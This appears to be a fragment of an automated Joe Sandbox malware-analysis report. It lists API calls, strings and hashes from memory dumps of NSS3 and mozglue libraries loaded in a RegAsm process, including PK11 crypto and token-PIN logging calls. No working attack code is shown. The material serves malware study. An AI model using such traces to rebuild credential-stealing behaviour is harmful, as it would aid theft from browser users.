
Part of subcall function 6C89AB89: EnterCriticalSection.KERNEL32(6C8EE370,?,?,?,6C8634DE,6C8EF6CC,?,?,?,?,?,?,?,6C863284), ref: 6C89AB94
Part of subcall function 6C89AB89: LeaveCriticalSection.KERNEL32(6C8EE370,?,6C8634DE,6C8EF6CC,?,?,?,?,?,?,?,6C863284,?,?,6C8856F6), ref: 6C89ABD1

Strings

kernel32.dll, xrefs: 6C8634EA
GetSystemTimePreciseAsFileTime, xrefs: 6C863508

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e75ed682ca013dc26105f797a8e8d00bf783a639fba4763ae7d33b4993f7cae9
Instruction ID: 0e8fe6fa168604cc46e62b9635216e6cefc9436adc16d68730d918b6ad230b3f
Opcode Fuzzy Hash: e75ed682ca013dc26105f797a8e8d00bf783a639fba4763ae7d33b4993f7cae9
Instruction Fuzzy Hash: B9316671B00206ABDF74DFB9DE48AAA7775FB5A308F104835E51597660D7709D04CB90

Function 6C9CECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C9CDE64), ref: 6C9CED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9CED22

Part of subcall function 6C9DB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAB18D0,?), ref: 6C9DB095

PL_FreeArenaPool.NSS3(?), ref: 6C9CED4A
PL_FinishArenaPool.NSS3(?), ref: 6C9CED6B
PR_CallOnce.NSS3(6CAE2AA4,6C9E12D0), ref: 6C9CED38

Part of subcall function 6C904C70: TlsGetValue.KERNEL32(?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904C97
Part of subcall function 6C904C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904CB0
Part of subcall function 6C904C70: PR_Unlock.NSS3(?,?,?,?,?,6C903921,6CAE14E4,6CA4CC70), ref: 6C904CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C9CED52
PR_CallOnce.NSS3(6CAE2AA4,6C9E12D0), ref: 6C9CED83
PL_FreeArenaPool.NSS3(?), ref: 6C9CED95
PL_FinishArenaPool.NSS3(?), ref: 6C9CED9D

Part of subcall function 6C9E64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C9E127C,00000000,00000000,00000000), ref: 6C9E650E

Strings

security, xrefs: 6C9CED06

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 941c604a875561863fb748fb550eda621c82d67f48844537c57746b2c0829499
Instruction ID: a9a51c6272d84a2fe3dec60d0d6da8b671dcbd77065f2cbf60acde54241cb61f
Opcode Fuzzy Hash: 941c604a875561863fb748fb550eda621c82d67f48844537c57746b2c0829499
Instruction Fuzzy Hash: 66116A72A002196BE7115B25AC46BBB727CBF7670CF000928E80262E41FB20E60CD6E7

Function 6C9B2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C9B2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C9B2D07

Part of subcall function 6CA909D0: PR_Now.NSS3 ref: 6CA90A22
Part of subcall function 6CA909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CA90A35
Part of subcall function 6CA909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CA90A66
Part of subcall function 6CA909D0: PR_GetCurrentThread.NSS3 ref: 6CA90A70
Part of subcall function 6CA909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CA90A9D
Part of subcall function 6CA909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CA90AC8
Part of subcall function 6CA909D0: PR_vsmprintf.NSS3(?,?), ref: 6CA90AE8
Part of subcall function 6CA909D0: EnterCriticalSection.KERNEL32(?), ref: 6CA90B19
Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CA90B48
Part of subcall function 6CA909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CA90C76
Part of subcall function 6CA909D0: PR_LogFlush.NSS3 ref: 6CA90C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C9B2D22

Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(?), ref: 6CA90B88
Part of subcall function 6CA909D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA90C5D
Part of subcall function 6CA909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CA90C8D
Part of subcall function 6CA909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA90C9C
Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(?), ref: 6CA90CD1
Part of subcall function 6CA909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CA90CEC
Part of subcall function 6CA909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA90CFB
Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CA90D16
Part of subcall function 6CA909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CA90D26
Part of subcall function 6CA909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA90D35
Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CA90D65
Part of subcall function 6CA909D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CA90D70
Part of subcall function 6CA909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CA90D90
Part of subcall function 6CA909D0: free.MOZGLUE(00000000), ref: 6CA90D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C9B2D3B

Part of subcall function 6CA909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CA90BAB
Part of subcall function 6CA909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA90BBA
Part of subcall function 6CA909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA90D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C9B2D54

Part of subcall function 6CA909D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA90BCB
Part of subcall function 6CA909D0: EnterCriticalSection.KERNEL32(?), ref: 6CA90BDE
Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(?), ref: 6CA90C16

Strings

C_InitToken, xrefs: 6C9B2CE7
slotID = 0x%x, xrefs: 6C9B2D02
pPin = 0x%p, xrefs: 6C9B2D1D
ulPinLen = %d, xrefs: 6C9B2D36
pLabel = 0x%p, xrefs: 6C9B2D4F

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: c6687efca6643410d8c00c50fae396a225fa7c3fe585b9085acc615d114e529a
Instruction ID: 30f39ce33e97e10b864ac53c07dad2d756a26ad3713320980573d83efae75e82
Opcode Fuzzy Hash: c6687efca6643410d8c00c50fae396a225fa7c3fe585b9085acc615d114e529a
Instruction Fuzzy Hash: 87210635200246FFDB489F90DD8CA467BF5EB9A31DF44C210F504A7622DB30C99AEBA1

Function 6CA90EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C972357), ref: 6CA90EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C972357), ref: 6CA90EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CA90EE6

Part of subcall function 6CA909D0: PR_Now.NSS3 ref: 6CA90A22
Part of subcall function 6CA909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CA90A35
Part of subcall function 6CA909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CA90A66
Part of subcall function 6CA909D0: PR_GetCurrentThread.NSS3 ref: 6CA90A70
Part of subcall function 6CA909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CA90A9D
Part of subcall function 6CA909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CA90AC8
Part of subcall function 6CA909D0: PR_vsmprintf.NSS3(?,?), ref: 6CA90AE8
Part of subcall function 6CA909D0: EnterCriticalSection.KERNEL32(?), ref: 6CA90B19
Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CA90B48
Part of subcall function 6CA909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CA90C76
Part of subcall function 6CA909D0: PR_LogFlush.NSS3 ref: 6CA90C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CA90EFA

Part of subcall function 6C97AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C97AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA90F2B

Strings

Aborting, xrefs: 6CA90EB3
Assertion failure: %s, at %s:%d, xrefs: 6CA90ED9, 6CA90EE5, 6CA90F06, 6CA90F0B

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 5c71fc9a336af971f4e8785d7031feaa91d33727428681008f3a74424ab4a899
Instruction ID: 93088e2622f4286acb552da3b5766a9a48a8877553182c05f80ac6c0483b4ef4
Opcode Fuzzy Hash: 5c71fc9a336af971f4e8785d7031feaa91d33727428681008f3a74424ab4a899
Instruction Fuzzy Hash: 1EF0C2B59002147BEF043FA0DC4AC9B3F3DEF86668F408024FD0956602EA36FA5596B3

Function 6C9F4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C9F4DCB

Part of subcall function 6C9E0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9887ED,00000800,6C97EF74,00000000), ref: 6C9E1000
Part of subcall function 6C9E0FF0: PR_NewLock.NSS3(?,00000800,6C97EF74,00000000), ref: 6C9E1016
Part of subcall function 6C9E0FF0: PL_InitArenaPool.NSS3(00000000,security,6C9887ED,00000008,?,00000800,6C97EF74,00000000), ref: 6C9E102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C9F4DE1

Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E10F3
Part of subcall function 6C9E10C0: EnterCriticalSection.KERNEL32(?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E110C
Part of subcall function 6C9E10C0: PL_ArenaAllocate.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1141
Part of subcall function 6C9E10C0: PR_Unlock.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1182
Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C9F4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9F4E59

Part of subcall function 6C9DFAB0: free.MOZGLUE(?,-00000001,?,?,6C97F673,00000000,00000000), ref: 6C9DFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAB300C,00000000), ref: 6C9F4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C9F4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C9F4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9F521A

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 3a433240a61307aa69c92c7bf41c63e190df507b8fe7e082c2c5f7c5d1297083
Instruction ID: b16b1e43bae503d42f87109d16134d985e89f23dc625b201b315e75249b75009
Opcode Fuzzy Hash: 3a433240a61307aa69c92c7bf41c63e190df507b8fe7e082c2c5f7c5d1297083
Instruction Fuzzy Hash: 84F18D71E00209CBDB04CF54D8407ADB7B6BF49358F298169E929AB781E735E982CF90

Function 6C864480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C8A4843,?), ref: 6C8645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C8A4843,?), ref: 6C86468A
free.MOZGLUE(?,?,?,?,?,?,6C8A4843,?), ref: 6C8646C9
free.MOZGLUE(?), ref: 6C8646EF
free.MOZGLUE(?), ref: 6C864712
free.MOZGLUE(?), ref: 6C864735
free.MOZGLUE(?), ref: 6C864758
free.MOZGLUE(?), ref: 6C86477B
free.MOZGLUE(?), ref: 6C86479E

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: e178bb4741b68d500ed0b3035b6799b5042173a2a5eef12c8bbf4c139752a681
Instruction ID: 8fdadc77435ad490a22ff5ff2e283c5b5e635984ddbfbc14ff2bcbe27d30ace9
Opcode Fuzzy Hash: e178bb4741b68d500ed0b3035b6799b5042173a2a5eef12c8bbf4c139752a681
Instruction Fuzzy Hash: 42B1E371A011148FDB38DE6DDAF476D76A2AFC2328F184A39E416DBF92D7319C408B91

Function 6C9F0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C9F2C2A), ref: 6C9F0C81

Part of subcall function 6C9DBE30: SECOID_FindOID_Util.NSS3(6C99311B,00000000,?,6C99311B,?), ref: 6C9DBE44

Part of subcall function 6C9C8500: SECOID_GetAlgorithmTag_Util.NSS3(6C9C95DC,00000000,00000000,00000000,?,6C9C95DC,00000000,00000000,?,6C9A7F4A,00000000,?,00000000,00000000), ref: 6C9C8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9F0CC4

Part of subcall function 6C9DFAB0: free.MOZGLUE(?,-00000001,?,?,6C97F673,00000000,00000000), ref: 6C9DFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9F0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C9F0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C9F0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C9F0D7D
free.MOZGLUE(00000000), ref: 6C9F0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9F0DC1
free.MOZGLUE(00000000), ref: 6C9F0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9F0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C9F0E0F

Part of subcall function 6C9C95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C9A7F4A,00000000,?,00000000,00000000), ref: 6C9C95E0
Part of subcall function 6C9C95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C9A7F4A,00000000,?,00000000,00000000), ref: 6C9C95F5
Part of subcall function 6C9C95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C9C9609
Part of subcall function 6C9C95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9C961D
Part of subcall function 6C9C95C0: PK11_GetInternalSlot.NSS3 ref: 6C9C970B
Part of subcall function 6C9C95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C9C9756
Part of subcall function 6C9C95C0: PK11_GetIVLength.NSS3(?), ref: 6C9C9767
Part of subcall function 6C9C95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C9C977E
Part of subcall function 6C9C95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9C978E

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: dcd2cde516d86f2023817aaf0352d30653400f6c527e48bd490ed1db16680887
Instruction ID: 101068c7e7e62ed0fcd9fa9354cd3db5699e08e637301b2106aa6ed252b2784a
Opcode Fuzzy Hash: dcd2cde516d86f2023817aaf0352d30653400f6c527e48bd490ed1db16680887
Instruction Fuzzy Hash: 2641B3B1900346ABEB009F64DC41BAF767CAF2430CF144124E9256B741EB35EA55CBF2

Function 6C984FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CAD0148,?,6C996FEC), ref: 6C98502A
PR_NewLock.NSS3(00000001,00000000,6CAD0148,?,6C996FEC), ref: 6C985034
PL_NewHashTable.NSS3(00000000,6C9DFE80,6C9DFD30,6CA2C350,00000000,00000000,00000001,00000000,6CAD0148,?,6C996FEC), ref: 6C985055
PL_NewHashTable.NSS3(00000000,6C9DFE80,6C9DFD30,6CA2C350,00000000,00000000,?,00000001,00000000,6CAD0148,?,6C996FEC), ref: 6C98506D

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 2e444ebd96b65de79eba333578b905d918ba4eb2383a7f4dd47bd3eb20086b8c
Instruction ID: 0d551b3e69cf0c5835226a7de55cc61cffd91abd3297194aff03ac75bb63c98e
Opcode Fuzzy Hash: 2e444ebd96b65de79eba333578b905d918ba4eb2383a7f4dd47bd3eb20086b8c
Instruction Fuzzy Hash: 3731D3B1A423239BFB449E65885CF8737BC9B1B30CF15C614E90683640D774DA4ADBE0

Function 6C8CAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C8CAC52
CreateFileMappingW.KERNEL32 ref: 6C8CAC7D
GetSystemInfo.KERNEL32 ref: 6C8CAC98
MapViewOfFile.KERNEL32 ref: 6C8CACB0
GetSystemInfo.KERNEL32 ref: 6C8CACCD
MapViewOfFile.KERNEL32 ref: 6C8CAD05
UnmapViewOfFile.KERNEL32 ref: 6C8CAD1C
CloseHandle.KERNEL32 ref: 6C8CAD28
UnmapViewOfFile.KERNEL32 ref: 6C8CAD37
CloseHandle.KERNEL32 ref: 6C8CAD43
CloseHandle.KERNEL32 ref: 6C8CAD67

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 0f5bbe33a4299ed897ad4e407a745af800d040e54354dc216618045d2a31b85b
Instruction ID: e55f0501f13b9922af6af405d22ea185d4f4057185fd36824eddcab16bfd9cde
Opcode Fuzzy Hash: 0f5bbe33a4299ed897ad4e407a745af800d040e54354dc216618045d2a31b85b
Instruction Fuzzy Hash: 823140B1A047458FDB50AF7CD6482AEBBF0BF89309F01493DE99597211EB709848CBC2

Function 6C922E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C922F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C922FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C923005
memcpy.VCRUNTIME140(?,?,?), ref: 6C9230EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C923131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C923178

Strings

database corruption, xrefs: 6C92316C
%s at line %d of [%.10s], xrefs: 6C923171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C923022, 6C923156, 6C923162, 6C92318A, 6C923196, 6C9231A2, 6C9231AE, 6C9231BA, 6C9231C6

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
